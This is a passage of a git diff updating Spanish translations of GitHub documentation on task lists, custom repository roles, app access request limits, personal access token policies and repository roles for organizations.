generada](/assets/images/help/writing/task-list-rendered.png) - -{% endif %} - -## Crear listas de tareas - -{% data reusables.repositories.task-list-markdown %} - -{% tip %} - -**Consejo:** No se pueden crear elementos de la lista de tareas dentro de las incidencias cerradas o las incidencias con solicitudes de incorporación de cambios vinculadas. - -{% endtip %} - -## Volver a ordenar tareas - -Puedes reordenar los elementos en una lista de tareas si haces clic a la izquierda de la casilla de verificación de la tarea, arrastrándola a una ubicación nueva y soltándola. Puedes reordenar las tareas a lo largo de listas diferentes en el mismo comentario, pero no puedes volver a ordenar las tareas a lo largo de comentarios diferentes. - -{% ifversion fpt %} ![Lista de tareas reordenadas](/assets/images/help/writing/task-list-reordered.gif) {% else %} ![Lista de tareas reordenadas](/assets/images/enterprise/writing/task-lists-reorder.gif) {% endif %} - -{% ifversion fpt %} - -## Navegar en las propuestas rastreadas - -Cualquier propuesta que se referencie en una lista de tareas especificará que se rastrean por la propuesta que contiene la lista de tareas. Para navegar a la propuesta rastreadora desde la propuesta rastreada, haz clic en el número de la propuesta rastreadora en la sección **Rastreándose en** junto al estado de la propuesta. - -![Ejemplo de rastreado en](/assets/images/help/writing/task_list_tracked.png) - -{% endif %} - -## Información adicional - -* "[Sintaxis básica de escritura y formato](/articles/basic-writing-and-formatting-syntax)"{% ifversion code-scanning-task-lists %} -* "[Rastrar alertas del {% data variables.product.prodname_code_scanning %} en las propuestas mediante listas de tareas](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists)"{% endif %} diff --git a/translations/es-ES/content/issues/tracking-your-work-with-issues/index.md b/translations/es-ES/content/issues/tracking-your-work-with-issues/index.md index d53204f4fb..7eb1d5a3d9 100644 --- a/translations/es-ES/content/issues/tracking-your-work-with-issues/index.md +++ b/translations/es-ES/content/issues/tracking-your-work-with-issues/index.md @@ -13,7 +13,7 @@ children: - /about-issues - /quickstart - /creating-an-issue - - /about-task-lists + - /about-tasklists - /linking-a-pull-request-to-an-issue - /creating-a-branch-for-an-issue - /assigning-issues-and-pull-requests-to-other-github-users @@ -28,11 +28,11 @@ children: redirect_from: - /issues/tracking-your-work-with-issues/creating-issues - /issues/tracking-your-work-with-issues/managing-issues -ms.openlocfilehash: 8c25125f19da47492585ab5fc8a6a539cea13c5e -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.openlocfilehash: fa4e3db684dbb39e30109452f4358753b5daf5ae +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 ms.translationtype: HT ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '146139124' +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159891' --- diff --git a/translations/es-ES/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md b/translations/es-ES/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md new file mode 100644 index 0000000000..3b54ebe8c5 --- /dev/null +++ b/translations/es-ES/content/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests.md @@ -0,0 +1,29 @@ +--- +title: Limitación de solicitudes de acceso a aplicaciones de OAuth y aplicaciones de GitHub +intro: 'Como propietario de la organización, puedes decidir si permitir que los colaboradores externos soliciten acceso de la organización a {% data variables.product.prodname_oauth_apps %} y {% data variables.product.prodname_github_apps %}.' +versions: + feature: limit-app-access-requests +permissions: Organization owners can limit who can make app access requests to the organization. +topics: + - Organizations + - GitHub Apps + - OAuth Apps +shortTitle: Limit app access requests +ms.openlocfilehash: 4ea1bd133dcbabb9e7b3e3cbe65da5ff9c6eabac +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148009686' +--- +## Acerca de las solicitudes de acceso de integración + +Cuando se habilitan las solicitudes de acceso de integración, los colaboradores externos pueden solicitar acceso de la organización a {% data variables.product.prodname_github_apps %} y {% data variables.product.prodname_oauth_apps %} que aún no han sido aprobadas por la organización. Si se deshabilitan las solicitudes de acceso de integración, solo los miembros de la organización podrán solicitar acceso de la organización a {% data variables.product.prodname_github_apps %} y {% data variables.product.prodname_oauth_apps %}. Los colaboradores externos seguirán pudiendo dar su consentimiento para {% data variables.product.prodname_github_apps %} y {% data variables.product.prodname_oauth_apps %} aprobadas previamente accediendo a los mismos recursos a los que tiene acceso el colaborador externo que realiza la solicitud. + +Las solicitudes de acceso de integración están habilitadas de forma predeterminada. Si tu organización tiene un gran número de colaboradores externos, posiblemente te convenga deshabilitar las solicitudes de acceso de integración para reducir el número de solicitudes que hay que revisar. + +## Cómo habilitar o deshabilitar solicitudes de acceso de integración + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.profile.org_member_privileges %} +1. En "Solicitudes de acceso de integración", selecciona **Permitir solicitudes de integración de colaboradores externos** (o anula su selección) y haz clic en **Guardar**. + ![Captura de pantalla de configuración de solicitudes de acceso de integración](/assets/images/help/organizations/integration-access-requests.png) diff --git a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md index 515f3d38ef..4e1924d625 100644 --- a/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md +++ b/translations/es-ES/content/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-repository-roles.md @@ -1,135 +1,134 @@ --- -title: Acerca de los roles de repositorio personalizados -intro: Puedes controlar el acceso a los repositorios de tu organización de forma más granular con roles de repositorio personalizados. +title: About custom repository roles +intro: You can more granularly control access to your organization's repositories with custom repository roles. versions: feature: custom-repository-roles topics: - Organizations - Teams shortTitle: About custom roles -ms.openlocfilehash: 48c6fe2ee78d2d28d11093d0b50a472c46266959 -ms.sourcegitcommit: ca040a1871ab5e929b596686ef955b02c5afa051 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 11/02/2022 -ms.locfileid: '148131028' --- + {% data reusables.organizations.custom-repo-roles-ghec-only %} -## Acerca de los roles de repositorio personalizados +## About custom repository roles -Para llevar a cabo cualquier acción en {% data variables.product.product_name %}, tal como crear una solicitud de cambios en un repositorio o cambiar los ajustes de facturación de una organización, los individuos deben tener acceso suficiente a la cuenta o recurso relevante. Los permisos son los que controlan este tipo de acceso. Un permiso es la capacidad de llevar a cabo una acción específica. Por ejemplo, la capacidad de borrar una propuesta constituye un permiso. Un rol es un conjunto de permisos que puedes asignar a los individuos o equipos. +To perform any actions on {% data variables.product.product_name %}, such as creating a pull request in a repository or changing an organization's billing settings, a person must have sufficient access to the relevant account or resource. This access is controlled by permissions. A permission is the ability to perform a specific action. For example, the ability to delete an issue is a permission. A role is a set of permissions you can assign to individuals or teams. -Dentro de una organización, puedes asignar roles a nivel de repositorio, equipo u organización. Para obtener más información acerca de los distintos niveles de roles, vea "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". +Within an organization, you can assign roles at the organization, team, and repository level. For more information about the different levels of roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)." -Puede tener un control más pormenorizado sobre los permisos que concede en el nivel de repositorio. Para ello, cree hasta tres roles de repositorio personalizados. {% data reusables.organizations.about-custom-repo-roles %} Para obtener más información, consulte "[Administración de roles de repositorio personalizados para una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)". +You can have more granular control over the permissions you grant at the repository level by creating up to three custom repository roles. {% data reusables.organizations.about-custom-repo-roles %} For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization). -Después de que creas un rol personalizado, cualquiera con acceso administrativo a un repositorio puede asignar el rol a un individuo o equipo. Para obtener más información, consulta "[Administración del acceso de una persona a un repositorio de la organización](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)" y "[Administración del acceso de equipo a un repositorio de la organización](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)". +After you create a custom role, anyone with admin access to a repository can assign the role to an individual or team. For more information, see "[Managing an individual's access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)" and "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." {% ifversion custom-repo-role-api %} -También puedes usar la API de REST para crear y administrar roles de repositorio personalizados. Para obtener más información, consulta "[Roles de repositorio personalizados](/rest/orgs/custom-roles)". +You can also use the REST API to create and manage custom repository roles. For more information, see "[Custom Repository Roles](/rest/orgs/custom-roles)." {% else %} -También puedes usar la API de REST para enumerar los roles de repositorio personalizados disponibles en tu organización. Para obtener más información, consulta "[API de roles de repositorio personalizados](/rest/orgs/custom-roles)". +You can also use the REST API to list the custom repository roles available in your organization. For more information, see "[Custom Repository Roles API](/rest/orgs/custom-roles)." {% endif %} -## Acerca del rol heredado +## About the inherited role -Cuando creas un rol de repositorio personalizado, comenzarás eligiendo un rol heredado de un conjunto de opciones predefinidas. El rol heredado determinará el conjunto inicial de permisos que se incluyen en el rol personalizado. Entonces, podrás seguir personalizando el rol si eliges permisos adicionales para asignarle a este. Para obtener la lista completa de permisos disponibles, vea "[Permisos adicionales para roles personalizados](#additional-permissions-for-custom-roles)". +When you create a custom repository role, you start by choosing an inherited role from a set of pre-defined options. The inherited role determines the initial set of permissions included in the custom role. Then, you can further customize the role by choosing additional permissions to give the role. For the full list of available permissions, see "[Additional permissions for custom roles](#additional-permissions-for-custom-roles)." -Tus opciones para escoger el rol heredado se estandarizan para tipos diferentes de contribuyentes en tu repositorio. +Your options for the inherited role are standardized for different types of contributors in your repository. -| Rol heredado | Diseñada para | +| Inherited role | Designed for | |----|----| -| **Lectura** | Contribuyentes sin código que quieren ver o debatir en tu proyecto | -| **Evaluación de errores** | Contribuyentes que necesitan administrar propuestas y solicitudes de cambio proactivamente sin acceso de escritura | -| **Escritura** | Miembros de la organización y colaboradores que suben información a tu proyecto activamente | -| **Mantenimiento** | Administradores de proyectos que necesitan administrar el repositorio sin acceso a las acciones destructivas o sensibles | +| **Read** | Non-code contributors who want to view or discuss your project | +| **Triage** | Contributors who need to proactively manage issues and pull requests without write access | +| **Write** | Organization members and collaborators who actively push to your project | +| **Maintain** | Project managers who need to manage the repository without access to sensitive or destructive actions | -## Roles personalizados de ejemplo +## Custom role examples -Aquí te mostramos ejemplos de los roles de repositorio personalizados que puedes configurar. +Here are some examples of custom repository roles you can configure. -| Rol de repositorio personalizado | Resumen | Rol heredado | Permisos adicionales | +| Custom repository role | Summary | Inherited role | Additional permissions | |----|----|----|----| -| Ingeniero de seguridad | Puede contribuir con código y mantener el mapa de seguridad | **Mantenimiento** | Borrar los resultados del escaneo de código | -| Contractor | Puede desarrollar integraciones de webhooks | **Escritura** | Administrar webhooks | -| Adminsitrador de comunidad | Puede manejar todas las interacciones de la comunidad sin poder contribuir con código | **Lectura** | - Marcar una incidencia como duplicada
- Administrar la configuración de la página de GitHub
- Administrar la configuración de la wiki
- Establecer la versión preliminar social
- Editar metadatos del repositorio
- Discusiones de evaluación de prioridades | +| Security engineer | Able to contribute code and maintain the security pipeline | **Maintain** | Delete code scanning results | +| Contractor | Able to develop webhooks integrations | **Write** | Manage webhooks | +| Community manager | Able to handle all the community interactions without being able to contribute code | **Read** | - Mark an issue as duplicate
- Manage GitHub Page settings
- Manage wiki settings
- Set the social preview
- Edit repository metadata
- Triage discussions | -## Permisos adicionales para los roles personalizados +## Additional permissions for custom roles -Después de haber elegido un rol heredado, puedes seleccionar los permisos adicionales para tu rol personalizado. +After choosing an inherited role, you can select additional permissions for your custom role. -Solo puedes elegir un permiso adicional si no se ha incluido ya en el rol heredado. Por ejemplo, si el rol heredado ofrece acceso de **Escritura** en un repositorio, el permiso de "Cerrar una solicitud de incorporación de cambios" ya se habrá incluido en el rol heredado. +You can only choose an additional permission if it's not already included in the inherited role. For example, if the inherited role offers **Write** access to a repository, then the "Close a pull request" permission will already be included in the inherited role. {% ifversion discussions %} -### Debates +### Discussions -- **Crear una categoría de discusión**: capacidad para crear una nueva categoría de discusión. Para obtener más información, consulta "[Crear una nueva categoría de discusión](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions#creating-a-category)". -- **Editar una categoría de discusión**: capacidad para editar una categoría de discusión. Para obtener más información, consulta «[Editar una categoría de discusión](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions#editing-a-category)». -- **Eliminar una categoría de discusión**: capacidad para eliminar una categoría de discusión. Para obtener más información, consulta «[Eliminar una categoría de discusión](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions#deleting-a-category)». -- **Marcar o desmarcar respuestas de discusión**: capacidad de marcar respuestas a una discusión si la categoría de la discusión acepta respuestas. Para obtener más información, consulta "[Marcar o desmarcar comentarios en una discusión como la respuesta](/discussions/managing-discussions-for-your-community/moderating-discussions#marking-a-comment-as-an-answer)". -- **Ocultar o mostrar comentarios de discusión**: capacidad de ocultar y mostrar comentarios en una discusión. Para más información, vea "[Moderación de debates](/communities/moderating-comments-and-conversations/managing-disruptive-comments#hiding-a-comment)". -- **Convertir problemas en discusiones**: capacidad para convertir un problema en una discusión. Para obtener más información, consulta «[Conversión de problemas en discusiones](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)». +- Create a discussion category +- Edit a discussion category +- Delete a discussion category +- Mark or unmark discussion answers +- Hide or unhide discussion comments +- Convert issues to discussions + +For more information, see "[{% data variables.product.prodname_discussions %}](/discussions)." {% endif %} -### Propuestas y solicitudes de cambios +### Issue and Pull Requests -- **Asignar o eliminar a un usuario**: asigna un usuario a una solicitud o solicitud de incorporación de cambios, o lo elimina de ellas. -- **Agregar o eliminar etiqueta**: agrega una etiqueta a una incidencia o solicitud de incorporación de cambios, o la elimina de ellas. +- Assign or remove a user +- Add or remove a label -### Problema +### Issue -- **Cerrar una incidencia** -- **Volver a abrir una incidencia que se había cerrado** -- **Eliminar una incidencia** -- **Marcar una incidencia como duplicada** +- Close an issue +- Reopen a closed issue +- Delete an issue +- Mark an issue as a duplicate -### Solicitud de incorporación de cambios +### Pull Request -- **Cerrar una solicitud de incorporación de cambios** -- **Volver a abrir una solicitud de incorporación de cambios** -- **Solicitar una revisión de solicitud de incorporación de cambios**: solicite una revisión de un usuario o equipo. +- Close a pull request +- Reopen a closed pull request +- Request a pull request review -### Repositorio +### Repository -- **Establecer hitos**: agregue hitos a una incidencia o solicitud de incorporación de cambios. -- **Administrar la configuración de wiki**: active wikis para un repositorio. -- **Administrar la configuración del proyecto**: activar proyectos para un repositorio. -- **Administrar la configuración de combinación de solicitudes de incorporación de cambios**: elija el tipo de confirmaciones de combinación que se permiten en su repositorio, tales como la fusión mediante combinación, fusión mediante combinación con "squash" o fusión mediante combinación de base. -- **Administrar la configuración de {% data variables.product.prodname_pages %}** : habilite {% data variables.product.prodname_pages %} para el repositorio y seleccione la rama que quiera publicar. Para más información, vea "[Configuración de un origen de publicación para el sitio de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)". -- **Administrar webhooks**: agregue webhooks al repositorio. -- **Administrar claves de implementación**: agregue claves de implementación al repositorio. -- **Editar metadatos del repositorio**: actualice la descripción del repositorio, así como sus temas. +- Set milestones +- Manage wiki settings +- Manage project settings +- Manage pull request merging settings +- Manage {% data variables.product.prodname_pages %} settings (see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)") +- Manage webhooks +- Manage deploy keys +- Edit repository metadata {%- ifversion ghec %} -- **Establecer límites de interacción**: restrinja temporalmente a usuarios determinados para que no puedan comentar, abrir incidencias o crear solicitudes de incorporación de cambios en el repositorio público y oblíguelos a pasar un periodo de tiempo con actividad limitada. Para más información, vea "[Limitación de las interacciones en el repositorio](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)". +- Set interaction limits +{%- endif %} +- Set the social preview +- Push commits to protected branches (branch protection rules will still apply) +- Create protected tags +- Delete protected tags +{%- ifversion bypass-branch-protections %} +- Bypass branch protections {%- endif %} -- **Establecer la vista previa social**: agregue una imagen de identificación a su repositorio que aparezca en las plataformas de redes sociales cuando se vincule a este. Para obtener más información, vea "[Personalización de la versión preliminar de redes sociales del repositorio](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)". -- **Insertar confirmaciones en ramas protegidas**: inserte en una rama marcada como rama protegida. Las reglas de protección de rama se seguirán aplicando y podrían dar lugar a que se rechace una inserción. -- **Crear etiquetas protegidas**: cree etiquetas que coincidan con una regla de protección de etiquetas. Para obtener más información, vea "[Configuración de reglas de protección de etiquetas](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)". -- **Eliminar etiquetas protegidas**: elimine etiquetas que coincidan con una regla de protección de etiquetas. Para obtener más información, consulta "[Configuración de reglas de protección de etiquetas](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)". {% ifversion bypass-branch-protections %} -- **Omitir protecciones de rama**: realizar la inserción en una rama protegida sin necesidad de cumplir con las reglas de protección de rama. {% endif %} -### Seguridad +### Security -- **Ver los resultados de {% data variables.product.prodname_code_scanning %}** : capacidad para ver las alertas de {% data variables.product.prodname_code_scanning %}. -- **Descartar o volver a abrir los resultados de {% data variables.product.prodname_code_scanning %}** : capacidad para descartar o volver a abrir las alertas de {% data variables.product.prodname_code_scanning %}. -- **Eliminar los resultados de {% data variables.product.prodname_code_scanning %}** : capacidad para eliminar las alertas de {% data variables.product.prodname_code_scanning %}. -- **Ver {% data variables.product.prodname_dependabot_alerts %}** : capacidad para ver {% data variables.product.prodname_dependabot_alerts %}. -- **Descartar o volver a abrir {% data variables.product.prodname_dependabot_alerts %}** : capacidad para descartar o volver a abrir {% data variables.product.prodname_dependabot_alerts %}. -- **Ver los resultados de {% data variables.product.prodname_secret_scanning %}** : capacidad para ver las alertas de {% data variables.product.prodname_secret_scanning %}. -- **Descartar o volver a abrir los resultados de {% data variables.product.prodname_secret_scanning %}** : capacidad para descartar o volver a abrir las alertas de {% data variables.product.prodname_secret_scanning %}. +- View {% data variables.product.prodname_code_scanning %} results +- Dismiss or reopen {% data variables.product.prodname_code_scanning %} results +- Delete {% data variables.product.prodname_code_scanning %} results +- View {% data variables.product.prodname_dependabot_alerts %} +- Dismiss or reopen {% data variables.product.prodname_dependabot_alerts %} +- View {% data variables.product.prodname_secret_scanning %} results +- Dismiss or reopen {% data variables.product.prodname_secret_scanning %} results -## Precedencia de los distintos niveles de acceso +## Precedence for different levels of access -Si se otorga a una persona los diferentes niveles de acceso mediante vías diferentes, tales como la membrecía de equipo y los permisos base de una organización, el acceso superior anulará a los otros. Por ejemplo, si un propietario de una organización otorga a los miembros organizacionales un rol personalizado que utilice el rol heredado de "Lectura" y luego el propietario configura el permiso base de la organización en "Escritura", entonces este rol personalizado tendrá el acceso de escritura en conjunto con cualquier permiso adicional que se incluya en dicho rol personalizado. +If a person is given different levels of access through different avenues, such as team membership and the base permissions for an organization, the highest access overrides the others. For example, if an organization owner gives an organization member a custom role that uses the "Read" inherited role, and then an organization owner sets the organization's base permission to "Write", then this custom role will have write access, along with any additional permissions included in the custom role. {% data reusables.organizations.mixed-roles-warning %} -Para resolver el acceso que ocasiona el conflicto, puedes ajustar los permisos básicos de tu organización o el acceso del equipo o editar el rol personalizado. Para más información, consulte: - - "[Definición de permisos base para una organización](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)" - - "[Administración del acceso de equipo a un repositorio de la organización](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)" - - "[Edición de un rol de repositorio](#editing-a-repository-role)" +To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. For more information, see: + - "[Setting base permissions for an organization](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)" + - "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)" + - "[Editing a repository role](#editing-a-repository-role)" \ No newline at end of file diff --git a/translations/es-ES/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md b/translations/es-ES/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md new file mode 100644 index 0000000000..665963fa46 --- /dev/null +++ b/translations/es-ES/content/organizations/managing-programmatic-access-to-your-organization/setting-a-personal-access-token-policy-for-your-organization.md @@ -0,0 +1,59 @@ +--- +title: Establecimiento de una directiva de token de acceso personal en la organización +intro: 'Los propietarios de organizaciones pueden controlar si permitir el uso de un {% data variables.product.pat_v2 %} y de {% data variables.product.pat_v1_plural %}, así como requerir aprobación para un {% data variables.product.pat_v2 %}.' +versions: + feature: pat-v2 +shortTitle: Set a token policy +ms.openlocfilehash: 6e05b65ae6814ef9101ed91fdd4a68435e4ba291 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106473' +--- +{% data reusables.user-settings.pat-v2-org-opt-in %} + +## Restricción del acceso mediante un {% data variables.product.pat_v2 %} + +Los propietarios de organizaciones pueden impedir que un {% data variables.product.pat_v2 %} acceda a los recursos pertenecientes a la organización. Con ese {% data variables.product.pat_v2_caps %} seguirá siendo posible leer los recursos públicos dentro de la organización. Esta configuración solo controla el acceso mediante un {% data variables.product.pat_v2 %}, no mediante {% data variables.product.pat_v1_plural %}. Para obtener más información sobre cómo restringir el acceso mediante {% data variables.product.pat_v1_plural %}, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página. + +{% ifversion ghec or ghes or ghae %} Si tu organización es propiedad de una empresa y el propietario de esa empresa ha restringido el acceso mediante un {% data variables.product.pat_v2 %}, no podrás invalidar esta directiva en tu organización. Para obtener más información, consulta "[Aplicación de directivas de {% data variables.product.pat_generic %} en la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise)."{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. En la barra lateral izquierda, en **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** , haz clic en **Configuración**. +1. En **{% data variables.product.pat_v2_caps %}** , selecciona la opción acorde a tus necesidades: + - **Permitir el acceso mediante un {% data variables.product.pat_v2 %}** : se puede acceder a los recursos propiedad de la organización mediante un {% data variables.product.pat_v2_caps %}. + - **Restringir el acceso mediante un {% data variables.product.pat_v2 %}** : no se puede acceder a los recursos propiedad de la organización mediante un {% data variables.product.pat_v2_caps %}. Las claves SSH creadas con un {% data variables.product.pat_v2 %} seguirán funcionando. +1. Haga clic en **Save**(Guardar). + +## Aplicación de una directiva de aprobación de {% data variables.product.pat_v2 %} + +Los propietarios de organizaciones pueden requerir la aprobación de cada {% data variables.product.pat_v2 %} que puede acceder a la organización. Con ese {% data variables.product.pat_v2_caps %} se seguirán pudiendo leer recursos públicos dentro de la organización sin necesidad de aprobación. Un {% data variables.product.pat_v2_caps %} creado por los propietarios de la organización no necesitará aprobación. + +{% ifversion ghec or ghes or ghae %} Si tu organización es propiedad de una empresa y el propietario de esa empresa ha establecido una directiva de aprobación de {% data variables.product.pat_v2 %}, no podrás invalidar esta directiva en tu organización. Para obtener más información, consulta "[Aplicación de directivas de {% data variables.product.pat_generic %} en la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise)."{% endif %} + +{% note %} + +**Nota**: Solo están sujetos a aprobación los {% data variables.product.pat_v2 %}, no los {% data variables.product.pat_v1_plural %}. A menos que la organización tenga acceso restringido mediante {% data variables.product.pat_v1_plural %}, cualquier {% data variables.product.pat_v1 %} puede acceder a los recursos de la organización sin aprobación previa. Para obtener más información, consulta "[Restricción del acceso mediante {% data variables.product.pat_v1_plural %}](#restricting-access-by-personal-access-tokens-classic)" en esta página. + +{% endnote %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. En la barra lateral izquierda, en **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** , haz clic en **Configuración**. +1. En **Requerir aprobación de {% data variables.product.pat_v2 %}** , selecciona la opción acorde a tus necesidades: + - **Requerir aprobación del administrador**: un propietario de organización debe aprobar cada {% data variables.product.pat_v2 %} que puede acceder a la organización. Un {% data variables.product.pat_v2_caps %} creado por los propietarios de la organización no necesitará aprobación. + - **No requerir aprobación del administrador**: un {% data variables.product.pat_v2_caps %} creado por los miembros de la organización puede acceder a los recursos de la organización sin aprobación previa. +1. Haga clic en **Save**(Guardar). + +## Restricción del acceso mediante {% data variables.product.pat_v1_plural %} + +Los propietarios de organizaciones pueden impedir que los {% data variables.product.pat_v1_plural %} accedan a los recursos pertenecientes a la organización. Con esos {% data variables.product.pat_v1_caps_plural %} se seguirán pudiendo leer los recursos públicos dentro de la organización. Esta configuración solo controla el acceso mediante {% data variables.product.pat_v1_plural %}, no con un {% data variables.product.pat_v2 %}. Para obtener más información sobre cómo restringir el acceso mediante un {% data variables.product.pat_v2 %}, consulta "[Restricción del acceso mediante un {% data variables.product.pat_v2 %}](#restricting-access-by-fine-grained-personal-access-tokens)" en esta página. + +{% ifversion ghec or ghes or ghae %} Si tu organización es propiedad de una empresa y el propietario de esa empresa ha restringido el acceso mediante {% data variables.product.pat_v1_plural %}, no podrás invalidar esta directiva en tu organización. Para obtener más información, consulta "[Aplicación de directivas de {% data variables.product.pat_generic %} en la empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-personal-access-tokens-in-your-enterprise)."{% endif %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} +1. En la barra lateral izquierda, en **{% octicon "key" aria-label="The key icon" %} {% data variables.product.pat_generic_caps %}** , haz clic en **Configuración**. +1. En **{% data variables.product.pat_v1_caps %}** , selecciona la opción acorde a tus necesidades: + - **Permitir el acceso mediante {% data variables.product.pat_v1_plural %}** : los {% data variables.product.pat_v1_caps_plural %} pueden acceder a los recursos propiedad de la organización. + - **Restringir el acceso mediante {% data variables.product.pat_v1_plural %}** : los {% data variables.product.pat_v1_caps_plural %} no pueden acceder a los recursos propiedad de la organización. Las claves SSH creadas con {% data variables.product.pat_v1_plural %} seguirán funcionando. +1. Haga clic en **Save**(Guardar). diff --git a/translations/es-ES/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md b/translations/es-ES/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md new file mode 100644 index 0000000000..b8f0cfb279 --- /dev/null +++ b/translations/es-ES/content/organizations/managing-user-access-to-your-organizations-repositories/repository-roles-for-an-organization.md @@ -0,0 +1,175 @@ +--- +title: Roles de repositorio para una organización +intro: 'Puedes personalizar el acceso a cada repositorio en tu organización si asignas roles granulares, lo cual le otorga acceso a las personas para las características y tareas que necesitan.' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /articles/repository-permission-levels-for-an-organization-early-access-program + - /articles/repository-permission-levels-for-an-organization + - /github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization + - /organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization + - /organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Repository roles +ms.openlocfilehash: 474c431aa6df0a942dcf377d256a0ce76ad2a0f8 +ms.sourcegitcommit: 00814c80b0f5fa76188c378a1196ef8fc5288113 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/31/2022 +ms.locfileid: '148120739' +--- +## Roles de repositorio para las organizaciones + +Puedes otorgar diferentes niveles de acceso a los miembros organizacionales, colaboradores externos y equipos de personas para los repositorios que pertenezcan a una organización si los asignas con roles. Elige el rol que mejor se adecue a cada función de las personas o los equipos de tu proyecto sin darles más acceso del que necesitan. + +Desde el menor hasta el mayo acceso, los roles para un repositorio de organización son: +- **Lectura**: se recomienda para colaboradores que no trabajan en el código, pero que quieren ver el proyecto o hablar sobre él +- **Evaluación de prioridades**: se recomienda para colaboradores que necesitan administrar de forma proactiva incidencias y solicitudes de incorporación de cambios sin acceso de escritura +- **Escritura**: se recomienda para los colaboradores que insertan cambios en el proyecto de forma activa +- **Mantenimiento**: se recomienda para los jefes de proyecto que necesitan administrar el repositorio sin acceder a acciones confidenciales o destructivas +- **Administración**: se recomienda para usuarios que necesitan acceso total al proyecto, incluidas acciones confidenciales y destructivas, como administrar la seguridad o eliminar un repositorio + +{% ifversion fpt %} Si en la organización se usa {% data variables.product.prodname_ghe_cloud %}, puede crear roles de repositorio personalizados. Para más información, vea "[Administración de roles de repositorio personalizados para una organización](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)" en la documentación de {% data variables.product.prodname_ghe_cloud %}. +{% elsif ghec or ghes > 3.4 or ghae > 3.4 %} Puedes crear roles de repositorio personalizados. Para más información, vea "[Administración de roles de repositorio personalizados para una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)". +{% endif %} + +Los dueños de las organizaciones pueden configurar permisos base que apliquen a todos los miembros de la misma cuando accedan a cualquiera 